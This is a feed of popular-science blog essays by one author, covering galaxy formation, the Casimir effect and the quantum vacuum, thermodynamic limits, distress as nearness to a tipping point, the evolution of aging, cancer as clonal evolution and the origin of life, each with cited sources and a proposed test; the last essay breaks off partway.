DEV Community: Pavel Ishchin

How Galaxies Formed: One Runaway, Not Two Stages

Pavel Ishchin — Sat, 08 Aug 2026 21:32:52 +0000

Galaxies did not form in two stages. Once the seed exists, one self-amplifying runaway of gravity does all the work, in a single feedback.

Why the two-stage picture of galaxy formation is wrong

There is a natural way to imagine the universe building galaxies, and it is wrong in an instructive way. The natural picture has two steps: first something gathers matter into mild clumps, and then, in a separate process, those clumps get amplified into galaxies. Two mechanisms, a gatherer and a grower. The physics needs only one.

How gravitational instability grows a clump

That one mechanism is gravitational instability, and it is a feedback loop a structure runs on itself. A patch slightly denser than its surroundings pulls a little harder with its gravity. The extra pull draws in more matter. The patch gets denser. Its gravity gets stronger. It pulls in still more. James Jeans laid out the condition for this in 1902. There is no first step that concentrates and a second that grows, because the concentrating and the growing are the very same act, the clump feeding on its own attraction.
While the clump is still faint, this is the slow, gentle growing mode of the feedback. Only once a region becomes about as dense as its surroundings does the growth turn into a real runaway, with the dense region collapsing on itself. James Peebles (1980) worked out the full theory of how this single instability carries the faint primordial ripples, the ones we see in the microwave background (Smoot's team, 1992), all the way up to the dense galaxies and clusters of today. The universe is expanding the whole time, which rescales how fast the feedback runs (the growth even freezes once dark energy takes over) but never swaps in a second mechanism.
What looks like two stages, a gentle early gathering and a violent late collapse, is really one self-amplifying process caught at different moments. The gentleness early and the violence late are the same feedback, weak when the clump is small and strong when it is large. There was never a separate concentrating phase to hand off to a growing phase.
The urge to split it into two, a thing that makes the seed and a thing that grows it, may be a general habit of how we think about where order comes from, cutting one self-amplifying process into a starter and a grower. I am flagging that and leaning on none of it. The solid claim is about the cosmos: structure grew by one self-amplifying mechanism working on a seed.

How we know: from primordial ripples to galaxies

The claim starts the clock at the primordial ripples themselves, the pattern already present in the oldest light in the sky. How those ripples got there is a separate question; the claim is only that growing them up into galaxies takes no second mechanism. Gravity acting on that seed does all of it, with the math shifting smoothly from the gentle early growth to the violent late collapse, the same force throughout.

Can this be tested?

Yes. If structure really grew by this one process, then how fast it grew should match what plain gravity predicts at every age of the universe, on every size scale, with no point where some extra, faster gatherer switches on. Cosmologists measure exactly this growth rate, and so far it tracks the single gravity prediction. If instead the data showed structure growing faster than gravity alone allows at some epoch, or needed a separate gatherer doing work before gravity took over, the one-runaway picture would be wrong. As far as observations of how structure grew over cosmic time reach, gravity alone fits.

Sources

Jeans, J. H. (1902). The stability of a spherical nebula. Philosophical Transactions of the Royal Society A 199, 1-53.
Peebles, P. J. E. (1980). The Large-Scale Structure of the Universe. Princeton University Press.
Smoot, G. F., et al. (1992). Structure in the COBE differential microwave radiometer first-year maps. The Astrophysical Journal 396, L1-L5.

How Did Galaxies Form? The Early Universe Needed Two Things: a Seed and Gravity to Grow It

Pavel Ishchin — Mon, 27 Jul 2026 12:50:29 +0000

Cosmic structure needed exactly two things: a seed printed into the early universe, and gravity to grow it. Neither one alone would have made a galaxy.

Cosmic large-scale structure, the galaxies, clusters, and the cosmic web, formed because two conditions were each necessary and together sufficient. A seed, the spectrum of small primordial density fluctuations, observed as one-part-in-100,000 anisotropies in the cosmic microwave background (COBE, Smoot et al. 1992). And an amplifier, gravitational instability (Jeans 1902; Peebles 1980), by which any region denser than average pulls in more matter and grows. Neither alone works: a perfectly smooth universe gives gravity nothing to amplify, and fluctuations with no growth mechanism stay small. Structure is a seed that gravity can grow, in an expanding universe.

Why isn't the universe smooth?

Look at the early universe in the cosmic microwave background and it is almost perfectly smooth, uniform to about one part in a hundred thousand. Look around today and the universe is lumpy, matter gathered into galaxies, clusters, and a vast web of filaments. How did the smooth become the structured? Any honest answer needs two separate ingredients, and confusing them for one is where intuition goes wrong. You need a seed, an initial tiny departure from smoothness, and you need an amplifier, a process that grows that departure into something big.

What is the seed, and what is the amplifier?

The seed has been measured. In 1992 the COBE satellite, led by George Smoot's team, found faint ripples in the microwave background, tiny temperature differences of about a part in a hundred thousand. Those ripples are the imprint of small primordial variations in density, most of it in dark matter, the matter we cannot see but whose gravity dominates. That underlying spectrum of density variations is the something for a growth process to work on. The amplifier is gravity, in the form James Jeans described back in 1902. A patch slightly denser than its surroundings pulls a little harder, draws in nearby matter, and gets denser still, while pressure pushes back below a certain size. In a still medium that pull-in runs away fast; in our expanding universe the same instability grows the lumps more gently, stretched out by the expansion. James Peebles (1980) built the theory of how this gravitational instability, working mostly through the dark matter, turns the primordial ripples into the galaxy clustering we actually see.

Both are needed, and neither does the job alone. With no seed, gravity has nothing but a uniform sea to act on, and a smooth universe stays smooth forever. With no amplifier, the primordial ripples stay ripples and never become galaxies. Structure is what you get when there is a seed that gravity can grow, set inside an expanding universe whose expansion sets how fast the lumps build up.

The shape of this, a small initial departure plus something that amplifies it, is tempting to read as a general recipe for order showing up anywhere, not just in the cosmos. I am only gesturing at that, and nothing here depends on it. The solid claim is the cosmological one: structure took a seed and an amplifier, together.

How do we know? A test you can check

It is testable, and the test is quantitative. The lumpiness we see today should be predictable from the measured primordial ripples run forward through gravitational growth, with nothing appearing that the seed-plus-gravity story cannot make. Dark matter and dark energy are already part of that story, setting the stage and the pace, so they do not count as extra ingredients. The account would fail only if structure turned up that you simply cannot get this way, forcing in something genuinely new: a second source of primordial lumpiness, or a structure-building force beyond gravity. So far the microwave-background measurements and the galaxy surveys line up, within the standard cosmological model whose backbone is exactly this seed-and-amplifier pair.

Sources

Smoot, G. F., et al. (1992). Structure in the COBE differential microwave radiometer first-year maps. The Astrophysical Journal 396, L1-L5.
Jeans, J. H. (1902). The stability of a spherical nebula. Philosophical Transactions of the Royal Society A 199, 1–53.
Peebles, P. J. E. (1980). The Large-Scale Structure of the Universe. Princeton University Press.
Blumenthal, G. R., Faber, S. M., Primack, J. R., & Rees, M. J. (1984). Formation of galaxies and large-scale structure with cold dark matter. Nature 311, 517–525.
Planck Collaboration (2020). Planck 2018 results. VI. Cosmological parameters. Astronomy & Astrophysics 641, A6.

Does the Casimir Effect Prove Vacuum Energy Is Real? Less Than You Think, and More Usefully

Pavel Ishchin — Sun, 26 Jul 2026 18:22:27 +0000

The Casimir effect does not measure the vacuum's absolute energy. It proves something subtler and more useful: that the vacuum's energy depends on geometry.

The Casimir effect proves that the vacuum's energy depends on geometry. Two conducting plates in vacuum attract because they exclude some field modes from the gap, lowering the zero-point energy there (predicted by Casimir in 1948, measured by Lamoreaux in 1997). But that is a difference between configurations, not a measurement of the absolute energy of empty space. So it licenses the modest claim, the vacuum is structured and its energy is configuration-dependent, and not the grand claim that we therefore know the vacuum's total energy or how it gravitates. The absolute vacuum energy remains the unsolved cosmological-constant problem, and the Casimir effect is silent on it.

The Casimir effect gets invoked a lot, often to back big claims about the energy hidden in empty space. It does prove something real, but you only stay out of trouble if you are careful about exactly what it proves. The honest version is smaller than the headline and more solid for it.

What does the Casimir effect actually measure?

Here is the effect. Hendrik Casimir predicted in 1948 that two metal plates held close together in vacuum should pull toward each other, with a force fixed by their spacing and the constants of nature alone. The reason is that the plates block some of the vacuum's field modes from the gap between them, so there is less zero-point energy in the gap than outside, and the system can lower its energy by closing the gap. The force grows steeply as the plates get closer; for ideal plates it scales as one over the fourth power of the spacing, and it does not depend on the material's coupling strength. Steven Lamoreaux measured the force in 1997 and matched that prediction, the spacing dependence and its size, to a few percent. The key word is difference. The effect compares the vacuum energy of one geometry to another and reacts to the change. What it shows is that the vacuum's energy depends on the boundary conditions, really and measurably.

Does it prove empty space has energy, or just that the energy changes?

Now the discipline. That the vacuum's energy changes with geometry is one thing. What the vacuum's total, absolute energy is, is a completely different thing, and the Casimir effect does not measure it. You can know exactly how much a quantity changes between two situations and still have no idea what its baseline is. This matters because the absolute vacuum energy, the kind that would bend spacetime, is the heart of the cosmological-constant problem, where the rough estimates overshoot the observed value by an absurd margin, and nobody has solved it. The Casimir effect says nothing about that. It earns you the modest claim, empty space is structured and its energy depends on configuration, and it does not earn you the grand claim, that we therefore know the vacuum's absolute energy or how it gravitates. Stapling the confirmed result to the open problem is the mistake.
The slide from a measured difference to a claim about the absolute may be a general habit, reading a demonstrated structure as a fully known one. I am flagging it and leaning on none of it. The point that does the work is the boundary line: Casimir confirms structure as a difference, not the absolute.

How could this reading be proven wrong?

It is a reading of a confirmed result, and it has a clear failure condition. It says the Casimir force is, physically, a difference between configurations, not a measurement of an absolute. The riskable, checkable part is that the force follows the geometry: it grows as the plates approach, falls off as one over the fourth power of the spacing as they part, depends on the material's coupling strength not at all, and even flips character when you change the arrangement (parallel plates pull together, while other shapes give repulsion or nothing). A version in which the force instead tracked a fixed, geometry-independent energy, one that did not fade away as the plates were pulled far apart, would break the reading. The awkward coexistence of a rock-solid Casimir force with an unsolved cosmological-constant problem is consistent with the modest claim, but it does not single that claim out, since every reading agrees the Casimir effect says nothing about the absolute. So it is reassurance, not a risky prediction.

Sources

Casimir, H. B. G. (1948). On the attraction between two perfectly conducting plates. Proceedings of the Koninklijke Nederlandse Akademie van Wetenschappen 51, 793-795.
Lamoreaux, S. K. (1997). Demonstration of the Casimir force in the 0.6 to 6 µm range. Physical Review Letters 78(1), 5-8.

Is Empty Space Really Empty? Why the Quantum Vacuum Is a Structured Field, Not Nothing

Pavel Ishchin — Thu, 23 Jul 2026 19:46:31 +0000

Empty space is not nothing. The quantum vacuum is the lowest state of the fields that fill space, and it does measurable work - the Casimir effect.

Empty space is not nothing. In quantum field theory the vacuum is the lowest-energy state of the fields that fill space, and that state still carries irreducible zero-point fluctuations that cannot be cooled or shielded away, so it is a minimal but genuine structure rather than absence. This is physically real rather than a way of talking, because it does measurable work: the Casimir effect (predicted by Casimir in 1948, measured by Lamoreaux in 1997 to within a few percent) is a real attractive force between two uncharged plates, arising because the plates exclude some of the field's vibrations from the gap between them. Whether this means true nothingness is impossible is a separate question the article leaves open.

Is empty space really empty?

Picture empty space and you probably picture absence, a region with nothing in it, a featureless backdrop where things happen. Quantum physics does not have that featureless backdrop. What we call the vacuum is the lowest-energy state of the fields that fill all of space, and that state is not still. The fields jitter even at their quietest, because a field cannot have both a perfectly definite value and a perfectly definite rate of change at once. Those jitters, the zero-point fluctuations, are not something you could cool away or shield out. They are built into the ground state itself. So empty space is not absence. It is a particular structure, the minimal one the fields can settle into.

How we know it is real: the Casimir effect

The natural objection is that this sounds like interpretation, a way of talking rather than a fact. It is a fact that empty space pushes: there is a real, geometry-dependent force where a featureless void predicts none. In 1948 Hendrik Casimir showed that two metal plates held very close together in vacuum should pull toward each other. The reason is geometric: the plates are so close that some of the field's possible vibrations cannot fit in the narrow gap, so there is less of this jitter-energy inside the gap than outside, and that difference shows up as an attractive force. The prediction is exact, set only by the geometry and the constants of nature. Half a century later, in 1997, Steven Lamoreaux measured the force directly in the micrometre range, about 0.6 to 6 µm, and found it matched the prediction to within a few percent.
That settles the narrow claim. Empty space having structure is not an opinion you can hold or drop, because it exerts a measured force, and a featureless void would exert none. Physicists actually describe the same force in two equivalent ways, as energy stored in the vacuum or as jittering charges in the plates, and the point here is the narrow one that the void is not featureless either way.
Does this mean true nothingness is impossible, that there is a floor of minimal structure you cannot get below? That is a metaphysical leap, and I am setting it aside. The physics nails the small point, the physical vacuum is structured, without deciding the bigger question of absolute nothing, which the Casimir effect cannot reach.
The status here is not a fresh prediction but a reading of a confirmed one. It commits to the structure being real and geometry-dependent in just the way the Casimir force requires. If the attraction between uncharged plates turned out not to depend on the geometry of the gap, being instead a purely classical or material effect with no quantum jitter behind it, the reading would fail. The measurements, from Lamoreaux onward, hold it up. A truly empty space would push on nothing.

Sources

Casimir, H. B. G. (1948). On the attraction between two perfectly conducting plates. Proceedings of the Koninklijke Nederlandse Akademie van Wetenschappen 51, 793-795.
Lamoreaux, S. K. (1997). Demonstration of the Casimir force in the 0.6 to 6 µm range. Physical Review Letters 78(1), 5-8.
Jaffe, R. L. (2005). Casimir effect and the quantum vacuum. Physical Review D 72, 021301(R).

Where Did Galaxies Come From? In Cosmology We Can See the Starting Conditions

Pavel Ishchin — Tue, 21 Jul 2026 14:59:44 +0000

Cosmology is strange among sciences: we do not postulate the starting conditions of cosmic structure, we photograph them in the microwave background.

A theory of how something evolves needs to know where it started. Almost always, the starting point is the hard part: you cannot see it, so you reconstruct it, idealize it, or leave it as a knob to tune. Cosmology has a rare gift. The starting conditions for all the structure in the universe are not guessed at. They are on display, photographed in the cosmic microwave background.

What is the cosmic microwave background?

That background is the light set free when the young universe first turned transparent, about 380,000 years after the Big Bang. The faint differences in its temperature from place to place across the sky are a near-direct picture of the differences in density that existed back then, the very seeds that later grew into galaxies. What COBE actually pinned down is statistical: not the exact map of where every lump sat, but the amplitude and pattern of the ripples. In 1992 the COBE satellite, with George Smoot's team, measured those temperature differences at about one part in a hundred thousand (a fractional temperature change, which on these large scales tracks the density seeds up to a known factor), with a pattern across scales consistent with the same strength at every scale. This is not a starting spectrum someone assumed to make the numbers work. It is a measured one: its amplitude is pinned down tightly, its scale dependence more loosely.

Why a photographed start changes the science

That changes what we actually know. Because the law that acts on those seeds is also known, gravity amplifying the denser spots as the universe expands (Jeans, 1902; Peebles, 1980), the later arrangement of matter becomes a genuine prediction from observed starting data, not a fit with the start left free. Unlike most of physics, here the input (the starting conditions) and the law are both fixed independently of each other, and the output is checked against a different observation, the galaxy surveys. That is a stronger position than most of physics gets to stand in. The seed is a measurement, and cosmic structure is what follows from it.
It is worth noting how unusual it is to observe a system's beginning rather than infer it. It works here because light travels at a finite speed, so looking far is looking back. Whether anything like that generalizes is a separate question I am setting aside. The solid claim is narrow: the seed of cosmic structure is seen, not supposed.

Can we test it?

It is testable, with no wiggle room in the start itself. The lumpiness of today's universe should follow from the measured primordial ripples run forward through gravity, using the rest of the cosmic ingredients (how much matter, how much dark energy, how fast the expansion) pinned down by other measurements. The seed stays fixed at its measured value; any mismatch has to be charged to those ingredients, not to the starting ripples. The claim fails if no allowed set of those independently measured ingredients can run the fixed seed forward into the galaxy pattern we actually see. They line up, and that agreement is the account passing its test.

Sources

Smoot, G. F., et al. (1992). Structure in the COBE differential microwave radiometer first-year maps. The Astrophysical Journal 396, L1-L5.
Jeans, J. H. (1902). The stability of a spherical nebula. Philosophical Transactions of the Royal Society A 199, 1-53.
Peebles, P. J. E. (1980). The Large-Scale Structure of the Universe. Princeton University Press.

Why Nothing Can Permanently Rest at the Extremes: The Vacuum's Zero-Point Floor and the Second Law

Pavel Ishchin — Mon, 20 Jul 2026 20:12:04 +0000

Nothing can rest forever at either extreme: the vacuum has a floor it cannot fall below, and order has a ceiling the second law will not let it hold.

Most of physics is a search for equilibrium: the stable point a system rolls toward and then sits in. A ball in a bowl, a chemical reaction reaching balance, a planet in a settled orbit. So it is worth noticing that there are limiting states a physical system is simply not allowed to rest in, permanently, and that the prohibition comes from established physics rather than from any grand story. By "permanent rest" I mean a state the system could sit in forever, a stationary state that does not change in time. There are two such prohibitions, drawn from two different parts of physics, plus the corollary you get by putting them together. The two are independent. Each stands on its own, and I am not going to bridge them into one law.

One: there is no exact-zero state, why the vacuum keeps a zero-point floor

You might picture the calmest possible state as perfect uniformity: a field that is exactly zero everywhere, with nothing happening. Quantum mechanics does not allow it, at least not for a quantized field. The uncertainty principle forbids such a field from having both an exact value and an exact rate of change at once, so it cannot sit at flat zero. The vacuum is not perfect stillness; it carries an irreducible floor of fluctuation, the zero-point energy. (A purely classical field could sit at zero, so this is a fact about quantum fields specifically, which is the only kind the real vacuum gives us.)

What the Casimir effect proves. This is not a bookkeeping trick. The fluctuations push on things, measurably. In 1948 Hendrik Casimir predicted that two uncharged metal plates placed very close together should feel a faint attraction, because the plates exclude some of the vacuum's fluctuation modes from the gap between them. The force is real and has been measured (Lamoreaux, 1997, demonstrated it in the 0.6 to 6 µm range at roughly the 5% level, with later work refining the comparison). So the fluctuation-free vacuum is not on the menu. Even "empty" is not still.

Two: why a maximum of order can't last when a sink is open (the second law)

Now the opposite extreme: a maximally ordered, maximally concentrated configuration, everything piled into one tidy arrangement. Can that be held forever? Not if there is anywhere for it to go and a way to get there. The second law of thermodynamics says that when a relaxation channel is open, a low-entropy concentrated state sits below equilibrium and the entropy gradient points away from it. It runs down toward equilibrium, and the more ordered it was, the more it has to shed. A maximum can be approached, and it can be passed through, but it cannot be parked in.

One honest caveat, because the second law alone does not quite finish the argument. It tells you which way things go, not how fast, and "the door is open" is not the same as "the system walks through it." Some configurations sit behind a kinetic barrier and last for ages even though a lower-energy state is right there: a supercooled liquid, or diamond, which is not the stable form of carbon but is in no hurry to become graphite. Those are the boundary case, and the prohibition simply excludes them by stating its condition fully: the relaxation channel must be open in both senses, thermodynamically allowed and kinetically passable, carrying an actual nonzero rate. With a genuinely open channel, the maximum cannot be a resting state. A kinetically trapped pile is a different animal and is not what is being ruled out.

Three: so there is no permanent rest at either pole

Put the two together and a corollary falls out, and I want to state it carefully, because it is easy to say too much. The featureless pole is closed by the first prohibition. The maximal-order pole is closed, as a permanent state, by the second. So a system has no permanent resting place at either extreme. That is the whole claim: it cannot stay, forever, at rest at a pole. This third statement is not a new piece of physics; it is just what the first two say when you hold them together. Nothing here says what the system does instead. The statement is a limit, a closed door, and not an account of what walks through it.

Notice what I did not do. I did not add the two prohibitions into a single quantity, and I did not lean the corollary on a shared bridge between them. They are two separate refusals from two separate parts of physics, quantum theory and thermodynamics. You can see they are genuinely separate: the second law already rules out a held maximum in an ordinary classical system that has no quantum zero-point structure at all, while the zero-point floor already rules out the exact-zero field for a single quantized mode with no heat or entropy in the picture. Neither leans on the other. Their only agreement is in the direction they point, away from permanent rest.

A bet you can settle

This is falsifiable, and not in a way that needs you to watch something forever. Because "permanent rest" means a stationary state, a configuration that does not change in time, you do not have to confirm that a system stays put for all eternity. The question is theoretical and decidable: does a consistent physical model allow a stationary, time-independent state at one of the poles, with the relaxation channel genuinely open? Show one and the claim is broken. A model with a field everywhere exactly zero and never fluctuating would break the first prohibition. A model with a maximally ordered state that stays put while a real, nonzero-rate relaxation channel sits open would break the second. The nice feature is that a single counterexample does not just contradict the claim in the abstract, it tells you exactly which of the two prohibitions failed. None is known, and the prohibitions predict none will be.

Sources

Casimir, H. B. G. (1948). On the attraction between two perfectly conducting plates. Proceedings of the Royal Netherlands Academy of Arts and Sciences 51, 793.
Lamoreaux, S. K. (1997). Demonstration of the Casimir force in the 0.6 to 6 µm range. Physical Review Letters 78, 5-8.
The second law of thermodynamics (Clausius, 1865; Boltzmann). Standard formulation: the entropy of an isolated system does not decrease.

Why Do We Suffer? Distress May Track Nearness to a Tipping Point, Not Just a Gap

Pavel Ishchin — Fri, 17 Jul 2026 14:26:39 +0000

Four established accounts of distress turn out to describe one thing: a self-regulating system being driven toward a breaking point it is failing to prevent.

We reach for one word, suffering, and treat it as a single dial that rises when something is wrong. None of what follows says that suffering is unreal, or small, or a thing to be reasoned away; it is a claim about the structure of that signal, not about its weight. Four separate research traditions each measured a different part of what is wrong, from different starting points, and never quite lined up. Put their measurements on one picture and they stop looking like rivals. They look like four readings off one process: a system that keeps itself in working order being pushed toward a point where it can no longer do so.

Why isn’t suffering just the size of the gap?

The oldest of the four accounts says distress is a gap. Self-discrepancy theory (Higgins, 1987) ties specific bad feelings to the distance between where you actually are and a reference: the self you want to be, or believe you ought to be. The bigger the gap, the worse you feel. True as far as it goes, but a large gap you are steadily closing does not feel like the same gap frozen or widening. So Carver and Scheier (1990) added the missing term. The body reads more than the gap. It reads the rate at which the gap is closing, and distress turns acute when the gap stops shrinking, not simply when it is large. A second reading off the same trajectory.

How do four theories become one?

Two more readings finish the picture. A third account, the free-energy principle (Friston, 2010), gives the mismatch a precise size. Its name is borrowed from physics and means no kind of fuel; the quantity is how far your situation sits from what your internal model of the world expected, and it stays high when a system cannot get its world back inside expected bounds. And the theory of critical transitions (Scheffer et al., 2009), which describes lakes, climates and ecosystems flipping abruptly between states, names the last piece: what a complex system does as it nears a tipping point. It loses resilience and shows critical slowing down. Its regulated quantity, the thing it is trying to hold steady, like a lake’s clarity or a body’s temperature, drifts more widely and recovers from knocks more sluggishly just before an abrupt shift.

Lay all four on one picture, a self-regulating system approaching a breakdown it cannot regulate away, and each theory becomes one projection of it. The gap is the distance from the reference. The control-rate is whether and how fast that distance is closing. The prediction error is the formal size of the unresolved mismatch. The critical-transition picture supplies the dynamical meaning of “under pressure before something gives”: nearness to the point where the gap can no longer be closed at all. Suffering, on this reading, is the interior of that approach: the signal available to a system being driven toward a transition while failing to head it off. That is a claim about the signal, not a measure of what it is like to bear it.

Does this explain why suffering is felt at all?

No, and it does not try to. “Interior” here means only the signal available to the system going through the approach, the way a warning light is information to the machine it sits in. Why any such signal comes wrapped in felt experience is a different and famously hard problem, and nothing here settles it or pretends to. The narrower claim stands on its own: the signal rises when the gap fails to close and peaks as resilience is lost, which is the shape the dynamics predict. And none of this measures, or doubts, what that suffering is worth to the one who bears it. The claim is about the structure of the signal, not its weight.

How could you test it, or break it?

A theory you cannot break is a story, so here is the seam. A pure gap account predicts that suffering tracks the size of the gap. This reading predicts more: suffering should also track nearness to a tipping point, over and above the gap. That nearness is not directly visible, but an approaching system leaves a fingerprint, the early-warning signs of critical slowing down (wider drift and slower recovery in the monitored quantity), and those can grow while the average state holds roughly steady. So in a system whose regulated quantity you can actually monitor, distress should rise with the early-warning signs even when the gap itself is pinned in place.

One honest complication keeps it from being too easy.A contribution beyond the static gap would also fit Carver and Scheier’s rate term, so that alone does not settle it.The sharp test holds both the gap and its rate of change fixed while the drift and the sluggishness still climb: even with how far off and how fast improving both pinned in place, the readings still wobble wider and bounce back slower. If suffering rises right along with that wobble, the critical-transition ingredient is doing work that neither the gap nor its closing-rate can explain. If distress instead tracks the static gap alone, the new ingredient is idle and the synthesis folds back into the older discrepancy theory. The early-warning signs are an imperfect proxy, and they can mislead even when nothing is about to give, which is why the claim is stated carefully: distress should rise together with those signs while the gap and its rate are held fixed, not that any single reading settles it.

Sources

Higgins, E. T. (1987). Self-discrepancy: a theory relating self and affect. Psychological Review 94(3), 319–340.
Carver, C. S., and Scheier, M. F. (1990). Origins and functions of positive and negative affect: a control-process view. Psychological Review 97(1), 19–35.
Friston, K. (2010). The free-energy principle: a unified brain theory? Nature Reviews Neuroscience 11, 127–138.
Scheffer, M., Bascompte, J., Brock, W. A., et al. (2009). Early-warning signals for critical transitions. Nature 461, 53–59.

Why Do We Age? Aging and Accident Are Two Different Kinds of Death

Pavel Ishchin — Thu, 16 Jul 2026 20:11:35 +0000

Aging and accident are not two strengths of one thing. One is indifferent to your age; the other is what selection's fading grip stops paying to prevent.

We use one word, mortality, for two very different ways to die. One is the accident: a predator, a fall, a sudden shock, something from outside that ends you regardless of your age. The other is aging: the slow internal failing of your own body, machinery winding down. Lumping them together as mortality hides that they are not two strengths of one thing. They are two different processes, with two different explanations.

Why does a body decline on its own?

The deep answer is the evolutionary theory of aging, and it rests on a single fact about natural selection. Evolution can only weed out a bad gene if that gene harms you while you are still alive and breeding. When you are young, almost everyone is alive and breeding, so a gene that hurts you then gets ruthlessly purged. By old age, most of your ancestors were already dead from accidents and predators, so a gene that only bites late slips through, because hardly anyone is left alive for selection to punish it in. George Williams put this together in 1957: a gene that helps you early will be favoured even if it harms you late, because the early help is felt in full and the late harm is barely felt at all. That trade-off is called antagonistic pleiotropy, and aging is the piled-up late-life cost of those early-life gains. Two decades later Thomas Kirkwood (1977) added the budget side, the disposable-soma theory: a body has only so much energy to split between reproducing and repairing itself, and since something will probably kill you anyway, the best split spends less on repair than living forever would need. The body, in his phrase, is disposable. A third strand, late-acting damage that selection is simply too weak to clear out (mutation accumulation, Peter Medawar 1952), is more like plain wear and tear, and it sits alongside the other two rather than being explained by them.

Is aging your body trying to die, or just wearing out?

Neither, on the antagonistic-pleiotropy and disposable-soma reading. Aging is not your body trying to die, and it is not just random wear and tear. It is what happens by default: evolution simply never had a strong reason to keep maintaining you once you had had your kids, so upkeep tails off. "By default" is the whole point, there is no gene whose job is to kill you on schedule; the genes behind aging were all picked for some early-life payoff, and the late-life damage is the bill that comes due. That is a different thing from being killed by a shock, which has nothing to do with your internal state and everything to do with the outside world.

You can describe the start of decline as a transition, a flip from a maintained body to a failing one. I am flagging that picture, not leaning on it. Whether aging is a sharp transition or a smooth slide is a separate question; the solid point is that aging is evolved and passive, and a separate thing from sudden death.

How could you test that aging and accidents are really different?

There are two separate things to check, and it helps to keep them apart. The first is an old and well-tested idea: the rate of accidental death sets how much upkeep is worth investing in. Where sudden external death dominates and upkeep buys little, evolution should slide the same creature toward fast, early reproduction and less maintenance; where slow aging dominates and maintenance actually buys extra years, it should slide toward more upkeep and a slower, later life. This is a smooth shift along one dial, not a flip between two opposite settings, and it is driven by the death rate alone, a world full of pure accidents and no aging machinery at all would already favour a fast life. So this shift illustrates the established idea more than it tests anything new, and its real lesson is narrow: what matters is the rate of outside death, not the mere fact that death happens.

To actually tell the two kinds of death apart you need a sharper test, and it lives in the shape of the death-rate curve over a lifetime, not in the life-history dial. Aging shows up as a death rate that climbs as you get older; pure accident shows up as a flat death rate that does not care how old you are. So the real test is whether you can move those two pieces independently: something that tinkers with the body's repair machinery should bend the rising-with-age part while leaving the flat background alone, and something that changes the outside danger should lift the flat background without touching the climb. If nothing can pull those two apart, calling them two different things is empty. If they move separately, the distinction holds.

Sources

Medawar, P. B. (1952). An Unsolved Problem of Biology. H. K. Lewis, London.
Williams, G. C. (1957). Pleiotropy, natural selection, and the evolution of senescence. Evolution 11(4), 398-411.
Kirkwood, T. B. L. (1977). Evolution of ageing. Nature 270(5635), 301-304.

Cancer Is Not an Invader, It Is a Defector: Why the Tumour Is Your Own Cells

Pavel Ishchin — Wed, 15 Jul 2026 19:48:28 +0000

Cancer is not a foreign invader. It is one of your own cells defecting-selected to divide fastest, winning locally while killing the body it lives in.

Is cancer your own cells, or something foreign?

We talk about cancer as an enemy that attacks the body, something to be fought off. That framing gets the origin wrong. A tumour is not foreign. It grows from one of your own cells, carries your own genome, and is in the most literal sense part of you. The accurate word is not invader but defector: a cell line that belonged to a cooperative and broke its terms.

Why does a cell become cancerous?

The cooperative is your body. Every somatic cell, that is, every cell except the sperm and egg cells, makes a bargain in a multicellular organism: it gives up its own unlimited reproduction in exchange for the survival of the whole, of which it gets to be a part. Cancer is what happens when a lineage of cells stops keeping that bargain. Peter Nowell described the mechanism in 1976 as clonal evolution: a tumour starts in a single cell, that cell accumulates heritable changes, and natural selection inside the body promotes the sublines that divide fastest. Thirty years later Merlo and colleagues (2006) filled in the ecology: a tumour is an ecosystem of evolving clones, competing and cooperating with each other and with the normal cells around them, progressing by the same evolutionary and ecological rules that govern any population under selection.

How can your own cell turn lethal?

Put the two together and malignancy is selection acting on your own cells, no longer reined in by the organism-level controls that normally keep a cell subordinate to the body. The defection is the breaking of those controls; the runaway growth is what follows. A cell that escapes the brakes on its division out-reproduces its law-abiding neighbours and wins, locally. The win is lethal globally, because the cooperative it defected from is the very thing keeping it alive. The tumour kills the body and dies with it.
The same shape, a part over-extracting once it severs the controls that bound it to the whole that sustains it, is tempting to see elsewhere, in other cooperatives that come apart. I am only gesturing at that, and nothing here depends on it. The solid claim is the one about cancer: it is an evolutionary process of defection from within, not an attack from without.

How would we test this?

The framing is testable, and the test has two parts. The first is timing. If cancer is defection by escaping regulatory control, that escape, the loss of measurable brakes like contact inhibition, growth-suppressor checkpoints and the cell's own self-destruct programme, should come first, before the runaway growth, rather than the two appearing together in one stroke. The second part is cause: in experimental model systems, where the lost controls can be restored on purpose, the runaway growth should slow. Timing alone is not enough, because a cell can break free a moment early without that being what drives the growth, so the causal test matters too. There is one honest caveat on the timing: if escape really does come first but only by an interval too short to measure, that would not refute the framing, it would just leave the timing question open. The framing fails if escape and runaway growth arrive together with no lead, or if restoring those controls in such models leaves the growth untouched. It earns its keep where escape leads in time and where restoring the control slows the growth.

Sources

Nowell, P. C. (1976). The clonal evolution of tumor cell populations. Science 194(4260), 23–28.
Merlo, L. M. F., Pepper, J. W., Reid, B. J., and Maley, C. C. (2006). Cancer as an evolutionary and ecological process. Nature Reviews Cancer 6(12), 924–935.

Life Needs Two Things to Start: Energy Flow and a Self-Copying Chemistry

Pavel Ishchin — Mon, 13 Jul 2026 16:11:49 +0000

The origin of self-maintaining organization (life) needs two things at once, and neither alone suffices: a steady flow of energy that holds the system far from equilibrium, and a self-reinforcing, autocatalytic chemistry whose products help make more of themselves. Energy flow without a self-reinforcing reaction dissipates and leaves no lasting structure; a self-reinforcing chemistry without an energy flow runs down toward equilibrium and dies. The test is a clean double dissociation: cut the energy and an established system loses its organization; remove the self-reinforcing reaction and nothing self-maintaining forms. Each removal abolishes the organization, and neither ingredient stands in for the other.

What does it take for self-maintaining organization to arise?

First, what counts as self-maintaining. Picture a bounded structure whose parts are constantly being broken down and rebuilt by reactions happening inside it, so that the same form persists even though its material is turned over many times. That continuous self-renewal, not mere static order, is the thing we want to explain. Ask how it gets started from plain matter, and you often hear a one-ingredient story. One version says energy does it: pour a flow of energy through a system and it organizes itself. Another says the right molecule does it: find the magic self-copier and life bootstraps. Each names something real and necessary, and each overreaches by pretending it is the whole answer. The honest version has two parts, and you need both.

The two conditions: a sustained energy throughput and a self-reinforcing chemistry

The first part is a steady flow of energy through the system, its energy throughput. Static order can sit at equilibrium forever with no energy moving at all: a crystal or a folded protein in the cold holds its shape and pays nothing. What equilibrium cannot do is build or actively renew order. To keep a structure that is constantly rebuilding itself, you have to pay continuously, pushing energy through and dumping the resulting disorder outside (the physics of dissipative structures; Schrödinger, 1944; Nicolis & Prigogine, 1977). Harold Morowitz put the building side of this plainly in 1968: the flow of energy through a system acts to organize that system, nudging molecules between a source and a sink toward more ordered arrangements. Decades later Jeremy England (2013) made the price exact for the special case of self-copying, showing that a replicator must dissipate a minimum amount of heat. Replication is not a loophole in thermodynamics; it is something energy flow pays for.

